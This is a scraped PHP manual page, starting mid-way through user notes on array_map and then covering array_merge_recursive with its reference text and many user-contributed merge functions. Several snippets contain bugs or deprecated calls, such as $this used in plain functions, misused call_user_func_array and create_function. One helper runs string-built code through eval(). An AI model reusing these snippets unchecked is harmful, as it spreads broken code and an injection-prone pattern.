            $mapper = '$result[' . $left . '] = ' . $right . ';';
        }
    } else {
        $mapper = '$result[] = ' . $mapper . ';';
    }

    foreach ($array as $key => $value) {
        eval($mapper);
    }

    return $result;
}

should be used like:

$array = array(array('foo' => 11, 'bar' => 22),
               array('foo' => 111, 'bar' => 222),
               array('foo' => 1111, 'bar' => 2222));
$mapped = array_map_helper('$value["foo"] => $value["bar"]', $array);

var_dump will give

array(3) {
  [11]=>
  int(22)
  [111]=>
  int(222)
  [1111]=>
  int(2222)
}

or

$mapped = array_map_helper('$value["foo"]', $array);

var_dump will give

array(3) {
  [0]=>
  int(11)
  [1]=>
  int(111)
  [2]=>
  int(1111)
}

or

$mapped = array_map_helper('$value["foo"] + $value["bar"] . " at position $key"', $array);

var_dump will give

array(3) {
  [0]=>
  string(16) "33 at position 0"
  [1]=>
  string(17) "333 at position 1"
  [2]=>
  string(18) "3333 at position 2"
}
andref dot dias at pronus dot eng dot br 24-Oct-2006 12:14
A recursive way to handle multidimensional arrays:

<?php

function multidimensionalArrayMap( $func, $arr )
    {
    $newArr = array();
    foreach( $arr as $key => $value )
        {
        $newArr[ $key ] = ( is_array( $value ) ? multidimensionalArrayMap( $func, $value ) : $func( $value ) );
        }
    return $newArr;
    }

?>
pcdinh at phpvietnam dot net 17-Mar-2006 08:50
Hi benjaminhill,

You can apply a method of a instantiated class to array_maps as follows:

class Maths {
    function addOne($input) {
        return ($input + 1);
    }
}
$maths = new Maths();
$sum = array_map(array($maths, \\\'addOne\\\'), array(1, 2));
// where $maths is the object which has been instantiated before and addOne is its method without its own parameters
var_dump($sum);

The code fragment will return:

array
  0 => 2
  1 => 3

However, I love a syntax like this:

$sum = array_map($maths->addOne($this), array(1, 2));

where $this should be interpreted as each values extracted from the subsequent array, which in this case is array(1, 2).

This syntax reminds me of Javascript syntax.

PHP\\\'s callback mechanism should be improved.
26-Aug-2005 06:57
Here's a function, very helpfull to me, that allows you to map your callback on mixed args.

<?php
function array_smart_map($callback) {
    // Initialization
    $args = func_get_args() ;
    array_shift($args) ; // suppressing the callback
    $result = array() ;

    // Validating parameters
    foreach($args as $key => $arg)
        if(is_array($arg)) {
            // the first array found gives the size of mapping and the keys that will be used for the resulting array
            if(!isset($size)) {
                $keys = array_keys($arg) ;
                $size = count($arg) ;
            // the others arrays must have the same dimension
            } elseif(count($arg) != $size) {
                return FALSE ;
            }
            // all keys are suppressed
            $args[$key] = array_values($arg) ;
        }

    // doing the callback thing
    if(!isset($size))
        // if no arrays were found, returns the result of the callback in an array
        $result[] = call_user_func_array($callback, $args) ;
    else
        for($i=0; $i<$size; $i++) {
            $column = array() ;
            foreach($args as $arg)
                $column[] = ( is_array($arg) ? $arg[$i] : $arg ) ;
            $result[$keys[$i]] = call_user_func_array($callback, $column) ;
        }

    return $result ;

}
?>

Trying with :

<?php
// $_GET is ?foo=bar1-bar2-bar3&bar=foo1
print_r(array_smart_map('explode', '-', $_GET)) ;
?>

Returns :

array(
    [foo] => array(
        0 => bar1
        1 => bar2
        2 => bar3
    )

    [bar] => array(
        1 => foo1
    )
)
david dot tulloh at infaze dot com dot au 06-Jul-2005 04:53
You can pass values to array_map by reference, essentially allowing you to use it as you would array_walk with multiple arrays as parameters.

A trivial example:
<?php
$a = array(1,2,3,4,5);
$add_func = create_function('&$x, $y', '$x+=$y;');
array_map($add_func, $a, $a);
print_r($a);
?>
Array
(
    [0] => 2
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 10
)
Vinicius Cubas Brand 23-Mar-2005 05:31
The following function does exaclty the same thing of array_map. However, maintains the same index of the input arrays

<?php
    function array_map_keys($param1,$param2,$param3=NULL)
    {
        $res = array();

        if ($param3 !== NULL)
        {
            foreach(array(2,3) as $p_name)
            {
                if (!is_array(${'param'.$p_name}))
                {
                    trigger_error(__FUNCTION__.'(): Argument #'.$p_name.' should be an array',E_USER_WARNING);
                    return;
                }
            }
            foreach($param2 as $key => $val)
            {
                $res[$key] = call_user_func($param1,$param2[$key],$param3[$key]);
            }
        }
        else
        {
            if (!is_array($param2))
            {
                trigger_error(__FUNCTION__.'(): Argument #2 should be an array',E_USER_WARNING);
                return;
            }
            foreach($param2 as $key => $val)
            {
                $res[$key] = call_user_func($param1,$param2[$key]);
            }
        }
        return $res;
    }
?>

For instance:

<?php
    $arr1 = array(
        '3' => 'a',
        '4' => 'b',
        '5' => 'c'
        );

    $arr2 = array(
        '3' => 'd',
        '4' => 'e',
        '5' => 'f'
        );

    $arr3 = array_map_keys(create_function('$a,$b','return $a.$b;'),$arr1,$arr2);

    print_r($arr3);

?>

The result will be:

Array
(
    [3] => ad
    [4] => be
    [5] => cf
)
endofyourself at yahoo dot com 19-Feb-2005 11:29
If you need to call a static method from array_map, this will NOT work:

<?PHP
array_map('myclass::myMethod' , $value);
?>

Instead, you need to do this:

<?PHP
array_map( array('myclass','myMethod') , $value);
?>

It is helpful to remember that this will work with any PHP function which expects a callback argument.
nd0 at gmx dot de 02-Jul-2004 04:42
array_map works also fine with create_function:

<?php
$a = array(1, 2, 3, 4, 5);
$b = array_map(create_function('$n', 'return $n*$n*$n;'), $a);
print_r($b);
?>

if you want to manipulate the elements of the array, instead to on a copy,
than take a look at array_walk:

<?php
$a = array(1, 2, 3, 4, 5);
array_walk($a, create_function('&$n', '$n = $n*$n*$n;'));
print_r($a);
?>

The Result of both is:

Array
(
    [0] => 1
    [1] => 8
    [2] => 27
    [3] => 64
    [4] => 125
)
stephen at mu dot com dot au 06-Jan-2003 10:02
A note when doing something allong the lines of:

<?php
class foo {
  var $var;
  function bar() {
     array_map(array($this, "baz"), array(1,2,3));
  }

  function baz($arg) {
    $this->var = $this->var + $arg;
  }
}
?>

This will *not* work as expected. You need to pass $this by reference as with:

array_map(array(&$this, "baz"), array(1,2,3));

or you'll be making a copy of the object each time, changing a value, then throwing the result away.


递归地合并一个或多个数组

  • ? array_map
  • array_merge ?
  • PHP Manual
  • 数组 函数
  • 递归地合并一个或多个数组

array_merge_recursive

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

array_merge_recursive — 递归地合并一个或多个数组

说明

array_merge_recursive ( array $array1 [, array $... ] ) : array

array_merge_recursive() 将一个或多个数组的单元合并起来，一个数组中的值附加在前一个数组的后面。返回作为结果的数组。

如果输入的数组中有相同的字符串键名，则这些值会被合并到一个数组中去，这将递归下去，因此如果一个值本身是一个数组，本函数将按照相应的条目把它合并为另一个数组。需要注意的是，如果数组具有相同的数值键名，后一个值将不会覆盖原来的值，而是附加到后面。

参数

array1

要合并的初始数组。

...

数组变量列表，进行递归合并。

返回值

一个结果数组，其中的值合并自附加的参数。

范例

Example #1 array_merge_recursive() 例子

<?php
$ar1 = array("color" => array("favorite" => "red"), 5);
$ar2 = array(10, "color" => array("favorite" => "green", "blue"));
$result = array_merge_recursive($ar1, $ar2);
print_r($result);
?>

以上例程会输出：

Array
(
    [color] => Array
        (
            [favorite] => Array
                (
                    [0] => red
                    [1] => green
                )

            [0] => blue
        )

    [0] => 5
    [1] => 10
)

参见

  • array_merge() - 合并一个或多个数组
  • array_replace_recursive() - 使用传递的数组递归替换第一个数组的元素

User Contributed Notes

zubkov dot rabota at gmail dot com 12-Jul-2017 10:58
This recursive array merge function doesn't renumber integer keys and appends new values to existing ones OR adds a new [key => value] pair if the pair doesn't exist.

function array_merge_recursive_adv(array &$array1, $array2) {
        if(!empty($array2) && is_array($array2))
            foreach ($array2 as $key => $value) {
                    if(array_key_exists($key,$array1)) {
                        if(is_array($value)){
                            array_merge_recursive_adv($array1[$key], $value);
                        } else {
                             if(!empty($array1[$key])) {
                                if(is_array($array1[$key])){
                                    array_push($array1[$key], $value);
                                } else {
                                    $array1[$key] = [$array1[$key]];
                                    $array1[$key][] = $value;
                                }
                             } else if(empty($array1[$key])) {
                                $array1[$key] = $value;
                             }
                        }
                    } else {
                        $array1[$key] = $value;
                    }
            }
            return $array1;
    }
zubkov dot rabota at gmail dot com 12-Jul-2017 10:57
This recursive array merge function doesn't renumber integer keys and appends new values to existing ones OR adds a new [key => value] pair if the pair doesn't exist.

function array_merge_recursive_adv(array &$array1, $array2) {
        if(!empty($array2) && is_array($array2))
            foreach ($array2 as $key => $value) {
                    if(array_key_exists($key,$array1)) {
                        if(is_array($value)){
                            array_merge_recursive_adv($array1[$key], $value);
                        } else {
                             if(!empty($array1[$key])) {
                                if(is_array($array1[$key])){
                                    array_push($array1[$key], $value);
                                } else {
                                    $array1[$key] = [$array1[$key]];
                                    $array1[$key][] = $value;
                                }
                             } else if(empty($array1[$key])) {
                                $array1[$key] = $value;
                             }
                        }
                    } else {
                        $array1[$key] = $value;
                    }
            }
            return $array1;
    }
karl (dot) hepler (at) gmail (dot) com 07-Oct-2016 08:24
I ran into a fairly unique situation where array_merge_recursive ALMOST did what I wanted, but NOT QUITE. I read through all of the comments, and I didn't find anything that really helped me. I saw a lot of functions submitted that were just trying to recreate array_replace_recursive. This is not that.

Take a look at the code and try it out. Hopefully it helps someone in need!

class Arr
{
    /**
     * Merge multiple arrays.
     *
     * This is similar to, but slightly different than array_merge_recursive.
     * The main difference is that it will merge like keys in subarrays,
     * instead of simply pushing them into the output array.
     *
     * @param  array ...$array
     *
     * @return array
     */
    public static function merge()
    {
        /** Initialize the output array */
        $merged = [];

        /** Go through each argument */
        foreach (func_get_args() as $array) {
            /** Go through each key/value of this array */
            foreach ($array as $key => $value) {
                /**
                 * If this key isn't set on merged,
                 * then it needs to be set for the first time
                 */
                if (! isset($merged[$key])) {
                    /**
                     * Before we can set it, we must make sure
                     * to dive into this value if it is an array,
                     * so that all of its children will be processed.
                     */
                    if (is_array($value)) {
                        $value = static::merge($value);
                    }

                    /**
                     * Now that we're happy with this value,
                     * and we're sure that, if it is an array,
                     * all of its children have been processed,
                     * let's go ahead and set it.
                     */
                    $merged[$key] = $value;

                    /** We can skip the rest of the loop */
                    continue;
                }

                /**
                 * We're here because we want to set a key
                 * that is already set on merged. We don't want
                 * to overwrite anything - we want to add to it.
                 * So, we need to make sure that we're working with an array.
                 */
                if (! is_array($merged[$key])) {
                    $merged[$key] = [$merged[$key]];
                }

                /**
                 * Before we push the value onto the array,
                 * we need to check to see if it is an array itself.
                 * If it is, then we need to make sure all of its children
                 * are processed. We do this by merging all of the children
                 * together. This is where it differs from array_merge_recursive,
                 * which would simply push the children onto the end of the array.
                 */
                if (is_array($value)) {
                    $value = forward_static_call_array([Arr::class, 'merge'], $value);
                }

                /** Now we're ready to push the value into merged */
                $merged[$key][] = $value;
            }
        }

        /** Return the merged array */
        return $merged;
    }
}
fantomx1 at gmail dot com 26-Jan-2016 11:35
I little bit improved daniel's and gabriel's contribution to behave more like original array_merge function to append numeric keys instead of overwriting them and added usefull option of specifying which elements to merge as you more often than not need to merge only specific part of array tree, and some parts of array just need  to let overwrite previous. By specifying helper element mergeWithParent=true, that section of array  will be merged, otherwise latter array part will override former. First level of array behave as classic array_merge.

        function array_merge_recursive_distinct ( array &$array1, array &$array2 )
    {
        static $level=0;
        $merged = [];
        if (!empty($array2["mergeWithParent"]) || $level == 0) {
            $merged = $array1;
        }

        foreach ( $array2 as $key => &$value )
        {
            if (is_numeric($key)) {
                $merged [] = $value;
            } else {
                $merged[$key] = $value;
            }

            if ( is_array ( $value ) && isset ( $array1 [$key] ) && is_array ( $array1 [$key] )
            ) {
                $level++;
                $merged [$key] = array_merge_recursive_distinct($array1 [$key], $value);
                $level--;
            }
        }
        unset($merged["mergeWithParent"]);
        return $merged;
    }
Anonymous 30-Nov-2015 09:45
Proper simplistic example:

<?php

$Array1 = [1, 2];
$Array2 = [3, 4];

echo implode("<br>", array_merge_recursive($Array1, $Array2));

?>

Output:
1
2
3
4
Orhan POLAT 18-Jun-2015 02:24
Merging arrays recursively some problem about existing keys, so that i wrote the function above like this:

function merge($array0, $array1) {
  // Result
  $merged = array();

  foreach (func_get_args() as $array) {
   // Check incoming argument is array
   if (is_array($array)) {
    foreach ($array as $key => $value) {
     // Check there is an array with the key: $key
     if (isset($merged[$key])) {
      // Check the value is array
      if (is_array($value)) {
       // So we must merge current value with the existing array
       $merged[$key] = call_user_func_array(__FUNCTION__, $merged[$key], $value);
      } else {
       if (!is_array($merged[$key])) {
        // If the existing array with the key: $key not an array
        // We make it an array
        $merged[$key] = array($merged[$key]);
       }

       // And add the current value
       $merged[$key][] = $value;
      }
     } else {
      // If not exists make the array
      $merged[$key] = $value;
     }
    }
   }
  }

  return $merged;
 }
Anonymous 17-Mar-2015 05:00
Attention.
(used PHP 5.4. XAMPP)

Values with numeric keys are always appended.   The index of the merge array is determined by the startindex of the first array. Value4s with numeric keys seems always appended.
If a key looks like an integer, array_merge_recursive will interpret the string as an number.

In the example  $arr['farbe']['22'] = 'grün' wil be found after array_merge_recursive in $res['farbe'][33]

$ar1 = array("farbe" => array (31 => 'holla', "rot", "favorit" => "gelb2"), "favorit" => "gelb1", 5);
$ar2 = array(10, "farbe" => array ('22' => "grün",  "favorit" => 2, "blau"));
$result = array_merge_recursive ($ar1, $ar2);
var_dump($result);
echo('<hr>');

// var_dump
array(4) {
  ["farbe"]=>
  array(5) {
    [31]=>
    string(5) "holla"
    [32]=>
    string(3) "rot"
    ["favorit"]=>
    array(2) {
      [0]=>
      string(5) "gelb2"
      [1]=>
      int(2)
    }
    [33]=>
    string(5) "grün"
    [34]=>
    string(4) "blau"
  }
  ["favorit"]=>
  string(5) "gelb1"
  [0]=>
  int(5)
  [1]=>
  int(10)
}
php at metehanarslan dot com 12-Jun-2014 10:52
Sometimes you need to modify an array with another one here is my approach to replace an array's content recursively with delete opiton. Here i used "::delete::" as reserved word to delete items.

<?php
$person= array(
    "name" => "Metehan",
    "surname"=>"Arslan",
    "age"=>27,
    "mail"=>"hidden",
    "favs" => array(
        "language"=>"php",
        "planet"=>"mercury",
        "city"=>"istanbul")
);

$newdata = array(
    "age"=>28,
    "mail"=>"::delete::",
    "favs" => array(
        "language"=>"js",
        "planet"=>"mercury",
        "city"=>"shanghai")
);

print_r(array_overlay($person,$newdata));
// result: Array ( [name] => Metehan [surname] => Arslan [age] => 28 [favs] => Array ( [language] => js [planet] => mercury [city] => shanghai ) )

function array_overlay($a1,$a2)
{
    foreach($a1 as $k => $v) {
        if ($a2[$k]=="::delete::"){
            unset($a1[$k]);
            continue;
        };
        if(!array_key_exists($k,$a2)) continue;
        if(is_array($v) && is_array($a2[$k])){
            $a1[$k] = array_overlay($v,$a2[$k]);
        }else{
            $a1[$k] = $a2[$k];
        }

    }
    return $a1;
}
?>
cezarion at cezarion dot net 09-Apr-2014 12:22
An updated version of  array_merge_recursive without overwriting numeric keys from martyniuk :
function array_merge_recursive_new()
 {
    $arrays = func_get_args();
        $base = array_shift($arrays);

        foreach ($arrays as $array) {
            reset($base); //important
            while (list($key, $value) = @each($array)) {
                if (is_array($value) && @is_array($base[$key])) {
                    $base[$key] = array_merge_recursive_new($base[$key], $value);
                } else {
                    if(isset($base[$key]) && is_int($key)) {
                      $key++;
                    }
                    $base[$key] = $value;
                }
            }
        }

    return $base;
  }
robert dot schlak at alcatel-lucent dot com 02-Jul-2012 04:39
The presence of NULLs; here is an example of the issue and a fix. Although it may not be apparent, if using array_merge_recursive in a loop to combine results from a database query or some other function, you can corrupt your result when NULLs are present in the data. I discovered this when migrating from an Oracle DB to a MySQL DB. I had to match the array structure returned from the PHP function calling the DB and got bit. The array_walk call fixed this for me.
This is a simple example that lacks any DB calls and looping. Assume your array had the DB column names (first, last, and age) and you needed to combine the data in a multi-dimensional array in which the column name is an array key with all rows beneath it. The corruption occurs in $a3. If using element position 2, one could create the fictitious 'pete johnson' because of the collapsing of elements.

<?php
print "<pre>Show corruption\\n";
$a1 = array('first'=>'bob', 'last'=>'jones', 'age'=>'48');
$a2 = array('first'=>'sam', 'last'=>'smith', 'age'=>'41');
$a3 = array('first'=>'pete', 'last'=>null, 'age'=>'3');
$a4 = array('first'=>'joe', 'last'=>'johnson', 'age'=>'33');
$a5 = array_merge_recursive($a1,$a2,$a3,$a4);
print_r($a5);

print "Show Fix\\n";
$a1 = array('first'=>'bob', 'last'=>'jones', 'age'=>'48');
$a2 = array('first'=>'sam', 'last'=>'smith', 'age'=>'41');
$a3 = array('first'=>'pete', 'last'=>null, 'age'=>'3');
array_walk($a3, 'null_to_empty');
$a4 = array('first'=>'joe', 'last'=>'johnson', 'age'=>'33');
$a5 = array_merge_recursive($a1,$a2,$a3,$a4);
print_r($a5);
print "</pre>\\n";

function null_to_empty(&$item) {

  $item = is_null($item) ? '' : $item;
}
?>
martyniuk dot vasyl at gmail dot com 24-Dec-2011 09:10
This is my version of array_merge_recursive without overwriting numeric keys:
<?php
function array_merge_recursive_new() {

        $arrays = func_get_args();
        $base = array_shift($arrays);

        foreach ($arrays as $array) {
            reset($base); //important
            while (list($key, $value) = @each($array)) {
                if (is_array($value) && @is_array($base[$key])) {
                    $base[$key] = array_merge_recursive_new($base[$key], $value);
                } else {
                    $base[$key] = $value;
                }
            }
        }

        return $base;
    }
?>
walf 25-May-2011 10:23
There are a lot of examples here for recursion that are meant to behave more like array_merge() but they don't get it quite right or are fairly customised. I think this version is most similar, takes more than 2 arguments and can be renamed in one place:

<?php

function array_merge_recursive_simple() {

    if (func_num_args() < 2) {
        trigger_error(__FUNCTION__ .' needs two or more array arguments', E_USER_WARNING);
        return;
    }
    $arrays = func_get_args();
    $merged = array();
    while ($arrays) {
        $array = array_shift($arrays);
        if (!is_array($array)) {
            trigger_error(__FUNCTION__ .' encountered a non array argument', E_USER_WARNING);
            return;
        }
        if (!$array)
            continue;
        foreach ($array as $key => $value)
            if (is_string($key))
                if (is_array($value) && array_key_exists($key, $merged) && is_array($merged[$key]))
                    $merged[$key] = call_user_func(__FUNCTION__, $merged[$key], $value);
                else
                    $merged[$key] = $value;
            else
                $merged[] = $value;
    }
    return $merged;
}

$a1 = array(
    88 => 1,
    'foo' => 2,
    'bar' => array(4),
    'x' => 5,
    'z' => array(
        6,
        'm' => 'hi',
    ),
);
$a2 = array(
    99 => 7,
    'foo' => array(8),
    'bar' => 9,
    'y' => 10,
    'z' => array(
        'm' => 'bye',
        11,
    ),
);
$a3 = array(
    'z' => array(
        'm' => 'ciao',
    ),
);
var_dump(array_merge($a1, $a2, $a3));
var_dump(array_merge_recursive_simple($a1, $a2, $a3));
var_dump(array_merge_recursive($a1, $a2, $a3));
?>

gives:

array(7) {              array(7) {              array(7) {
  int(1)                  int(1)                  int(1)
  ["foo"]=>               ["foo"]=>               ["foo"]=>
  array(1) {              array(1) {              array(2) {
    [0]=>                   [0]=>                   [0]=>
    int(8)                  int(8)                  int(2)
  }                       }                         [1]=>
  ["bar"]=>               ["bar"]=>                 int(8)
  int(9)                  int(9)                  }
  ["x"]=>                 ["x"]=>                 ["bar"]=>
  int(5)                  int(5)                  array(2) {
  ["z"]=>                 ["z"]=>                   [0]=>
  array(1) {              array(3) {                int(4)
    ["m"]=>                 [0]=>                   [1]=>
    string(4) "ciao"        int(6)                  int(9)
  }                         ["m"]=>               }
  [1]=>                     string(4) "ciao"      ["x"]=>
  int(7)                    [1]=>                 int(5)
  ["y"]=>                   int(11)               ["z"]=>
  int(10)                 }                       array(3) {
}                         [1]=>                     [0]=>
                          int(7)                    int(6)
                          ["y"]=>                   ["m"]=>
                          int(10)                   array(3) {
                        }                             [0]=>
                                                      string(2) "hi"
                                                      [1]=>
                                                      string(3) "bye"
                                                      [2]=>
                                                      string(4) "ciao"
                                                    }
                                                    [1]=>
                                                    int(11)
                                                  }
                                                  [1]=>
                                                  int(7)
                                                  ["y"]=>
                                                  int(10)
                                                }
andyidol at gmail dot com 10-Feb-2011 07:14
Here's my function to recursively merge two arrays with overwrites. Nice for merging configurations.

<?php

function MergeArrays($Arr1, $Arr2)
{
  foreach($Arr2 as $key => $Value)
  {
    if(array_key_exists($key, $Arr1) && is_array($Value))
      $Arr1[$key] = MergeArrays($Arr1[$key], $Arr2[$key]);

    else
      $Arr1[$key] = $Value;

  }

  return $Arr1;

}

?>
lsiq at papotam com 01-Oct-2010 01:17
<?php

//  this function merges an array with the $_SESSION
//  if you omit second parameter it merges to the root
//  if you give one 'path' array it is merged deeply

function arr2sess($arr, $path=array()){
   if (!is_array($arr)) return false;
   foreach($arr as $k => $v){
      if(is_array($arr[$k])) {
          $path[] = $k;
          arr2sess($arr[$k], $path);
      }else{
          $ref = &$_SESSION;
          if($path){
              foreach($path as $val){
                  if(!$ref[$val]) $ref[$val] = array();
                  $ref = &$ref[$val];
              }
          }
          $ref[$k] = $v;
      }
   }
}

session_start();
$x = array(k1=>12, k2=>array(kxx=>'forget me', kyy=>'I was allways here'));     // do you have any of this on $_SESSION
$rpl = array(k2=>array(kxx=>'I am a replaced value',kzz=>'I am a new value'));
arr2sess($x, array('deep','deep','in_session'));                                // you can use this way
arr2sess($x);                                                                   // or this
arr2sess($rpl);                                                                 // to merge parts with the $_SESSION

$w = array(120, q=>array(199,100));                                             // works the same way on numeric keys
arr2sess($w, array('one','two'));
arr2sess($w);

echo '<pre>';
print_r($_SESSION);

?>
mark dot roduner at gmail dot com 13-Feb-2010 11:34
<?php
/**
 * Merges any number of arrays / parameters recursively, replacing
 * entries with string keys with values from latter arrays.
 * If the entry or the next value to be assigned is an array, then it
 * automagically treats both arguments as an array.
 * Numeric entries are appended, not replaced, but only if they are
 * unique
 *
 * calling: result = array_merge_recursive_distinct(a1, a2, ... aN)
**/

function array_merge_recursive_distinct () {
  $arrays = func_get_args();
  $base = array_shift($arrays);
  if(!is_array($base)) $base = empty($base) ? array() : array($base);
  foreach($arrays as $append) {
    if(!is_array($append)) $append = array($append);
    foreach($append as $key => $value) {
      if(!array_key_exists($key, $base) and !is_numeric($key)) {
        $base[$key] = $append[$key];
        continue;
      }
      if(is_array($value) or is_array($base[$key])) {
        $base[$key] = array_merge_recursive_distinct($base[$key], $append[$key]);
      } else if(is_numeric($key)) {
        if(!in_array($value, $base)) $base[] = $value;
      } else {
        $base[$key] = $value;
      }
    }
  }
  return $base;
}
?>
drvali at hotmail dot com 05-Oct-2009 09:31
<?php
/**
 * Merges any number of arrays of any dimensions, the later overwriting
 * previous keys, unless the key is numeric, in whitch case, duplicated
 * values will not be added.
 *
 * The arrays to be merged are passed as arguments to the function.
 *
 * @access public
 * @return array Resulting array, once all have been merged
 */
function array_merge_replace_recursive() {
    // Holds all the arrays passed
    $params = & func_get_args ();

    // First array is used as the base, everything else overwrites on it
    $return = array_shift ( $params );

    // Merge all arrays on the first array
    foreach ( $params as $array ) {
        foreach ( $array as $key => $value ) {
            // Numeric keyed values are added (unless already there)
            if (is_numeric ( $key ) && (! in_array ( $value, $return ))) {
                if (is_array ( $value )) {
                    $return [] = $this->array_merge_replace_recursive ( $return [$$key], $value );
                } else {
                    $return [] = $value;
                }

            // String keyed values are replaced
            } else {
                if (isset ( $return [$key] ) && is_array ( $value ) && is_array ( $return [$key] )) {
                    $return [$key] = $this->array_merge_replace_recursive ( $return [$$key], $value );
                } else {
                    $return [$key] = $value;
                }
            }
        }
    }

    return $return;
}

$a = array (
    "a" => 1,
    "b" => 2,
    'foo',
    'bar'
);
$b = array (
    "a" => 2,
    "c" => 3,
    'foo'
);

$c = array_merge_replace_recursive ( $a, $b );
print_r ( $a );
print_r ( $b );
print_r ( $c );
?>

Output:
Array
(
    [a] => 1
    [b] => 2
    [0] => foo
    [1] => bar
)
Array
(
    [a] => 2
    [c] => 3
    [0] => foo
)
Array
(
    [a] => 2
    [b] => 2
    [0] => foo
    [1] => bar
    [c] => 3
)
gabriel dot sobrinho at gmail dot com 13-Jul-2009 07:56
I refactored the Daniel's function and I got it:

<?php
/**
 * array_merge_recursive does indeed merge arrays, but it converts values with duplicate
 * keys to arrays rather than overwriting the value in the first array with the duplicate
 * value in the second array, as array_merge does. I.e., with array_merge_recursive,
 * this happens (documented behavior):
 *
 * array_merge_recursive(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('org value', 'new value'));
 *
 * array_merge_recursive_distinct does not change the datatypes of the values in the arrays.
 * Matching keys' values in the second array overwrite those in the first array, as is the
 * case with array_merge, i.e.:
 *
 * array_merge_recursive_distinct(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('new value'));
 *
 * Parameters are passed by reference, though only for performance reasons. They're not
 * altered by this function.
 *
 * @param array $array1
 * @param array $array2
 * @return array
 * @author Daniel <daniel (at) danielsmedegaardbuus (dot) dk>
 * @author Gabriel Sobrinho <gabriel (dot) sobrinho (at) gmail (dot) com>
 */
function array_merge_recursive_distinct ( array &$array1, array &$array2 )
{
  $merged = $array1;

  foreach ( $array2 as $key => &$value )
  {
    if ( is_array ( $value ) && isset ( $merged [$key] ) && is_array ( $merged [$key] ) )
    {
      $merged [$key] = array_merge_recursive_distinct ( $merged [$key], $value );
    }
    else
    {
      $merged [$key] = $value;
    }
  }

  return $merged;
}
?>

This fix the E_NOTICE when the the first array doesn't have the key and the second array have a value which is a array.
jonnybergstrom at googles mail domain dot comm 27-Jun-2009 08:30
This function didn't work for me - or it didn't do what I thought it would. So I wrote the below function, which merges two arrays, and returns the resulting array. The base array is the left one ($a1), and if a key is set in both arrays, the right value has precedence. If a value in the left one is an array and also an array in the right one, the function calls itself (recursion). If the left one is an array and the right one exists but is not an array, then the right non-array-value will be used.

*Any key only appearing in the right one will be ignored*
 - as I didn't need values appearing only in the right in my implementation, but if you want that you could make some fast fix.

function array_merge_recursive_leftsource(&$a1, &$a2) {
    $newArray = array();
    foreach ($a1 as $key => $v) {
        if (!isset($a2[$key])) {
            $newArray[$key] = $v;
            continue;
        }

        if (is_array($v)) {
            if (!is_array($a2[$key])) {
                $newArray[$key] = $a2[$key];
                continue;
            }
            $newArray[$key] = array_merge_recursive_leftsource($a1[$key], $a2[$key]);
            continue;
        }

        $newArray[$key] = $a2[$key];
    }
    return $newArray;
}
michiel at synetic dot nl 22-May-2009 01:54
A small improvement upon the previously posted array_merge_recursive_distinct functions (based on daniel's version). This implementation preserves the parameter input from the original, you can pass an infinite amount of array's to merge.

<?php
function &array_merge_recursive_distinct()
{
    $aArrays = func_get_args();
    $aMerged = $aArrays[0];

    for($i = 1; $i < count($aArrays); $i++)
    {
        if (is_array($aArrays[$i]))
        {
            foreach ($aArrays[$i] as $key => $val)
            {
                if (is_array($aArrays[$i][$key]))
                {
                    $aMerged[$key] = is_array($aMerged[$key]) ? PR::array_merge_recursive_distinct($aMerged[$key], $aArrays[$i][$key]) : $aArrays[$i][$key];
                }
                else
                {
                    $aMerged[$key] = $val;
                }
            }
        }
    }

    return $aMerged;
}
?>
daniel at danielsmedegaardbuus dot dk 19-Mar-2009 02:18
<?php
/**
 * array_merge_recursive does indeed merge arrays, but it converts values with duplicate
 * keys to arrays rather than overwriting the value in the first array with the duplicate
 * value in the second array, as array_merge does. I.e., with array_merge_recursive,
 * this happens (documented behavior):
 *
 * array_merge_recursive(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('org value', 'new value'));
 *
 * array_merge_recursive_distinct does not change the datatypes of the values in the arrays.
 * Matching keys' values in the second array overwrite those in the first array, as is the
 * case with array_merge, i.e.:
 *
 * array_merge_recursive_distinct(array('key' => 'org value'), array('key' => 'new value'));
 *     => array('key' => array('new value'));
 *
 * Parameters are passed by reference, though only for performance reasons. They're not
 * altered by this function.
 *
 * @param array $array1
 * @param mixed $array2
 * @return array
 * @author daniel@danielsmedegaardbuus.dk
 */
function &array_merge_recursive_distinct(array &$array1, &$array2 = null)
{
  $merged = $array1;

  if (is_array($array2))
    foreach ($array2 as $key => $val)
      if (is_array($array2[$key]))
        $merged[$key] = is_array($merged[$key]) ? array_merge_recursive_distinct($merged[$key], $array2[$key]) : $array2[$key];
      else
        $merged[$key] = $val;

  return $merged;
}
?>
miniscalope at gmail dot com 04-Feb-2009 03:56
I would merge 2 arrays but keep the values unique in the result array.
I hope this will help...
<?php

function array_merge_recursive_unique($array1, $array2) {

    foreach($array2 AS $k => $v) {
        if(!isset($array1[$k]))
        {
            $array1[$k] = $v;
        }
        else
        {
            if(!is_array($v)){
                if(is_array($array1[$k]))
                {
                    if(!in_array($v,$array1[$k]))
                    {
                        $array1[$k][] = $v;
                    }
                }
                else
                {
                    if($array1[$k] != $v)
                        $array1[$k] = array($array1[$k], $v);
                 }
            }
            else
            {
                $array1[$k] =    array_merge_recursive_unique($array1,$array2[$k]);
            }

        }

    }
      unset($k, $v);
      return $array1;
}

?>
remy dot damour at -please-no-spam-laposte dot net 21-Jan-2009 06:28
If what you want is merge all values of your array that are arrays themselves to get a resulting array of depth one, then you're more looking for array_flatten function.

Unfortunately I did not find such native function in php, here is the one I wrote:

<?php
/**
 * Flatten an array so that resulting array is of depth 1.
 * If any value is an array itself, it is merged by parent array, and so on.
 *
 * @param array $array
 * @param bool $preserver_keys OPTIONAL When true, keys are preserved when mergin nested arrays (=> values with same key get overwritten)
 * @return array
 */
function array_flatten($array, $preserve_keys = false)
{
    if (!$preserve_keys) {
        // ensure keys are numeric values to avoid overwritting when array_merge gets called
        $array = array_values($array);
    }

    $flattened_array = array();
    foreach ($array as $k => $v) {
        if (is_array($v)) {
            $flattened_array = array_merge($flattened_array, call_user_func(__FUNCTION__, $v, $preserve_keys));
        } elseif ($preserve_keys) {
            $flattened_array[$k] = $v;
        } else {
            $flattened_array[] = $v;
        }
    }
    return $flattened_array;
}

// example
$a = array ('k1' => 'a', 'k2' => array('k1' => 'b', 'k4' => array('k3' => 'c')));
var_export(array_flatten($a)); // output: array(0 => 'a', 1 => 'b', 2 => 'c')
var_export(array_flatten($a, true)); // output: array('k1' => 'b', 'k3' => 'c') // first 'k1' value gets overwritten by nested 'k1' value
?>
phil dot kemmeter at gmail dot com 08-Dec-2008 10:45
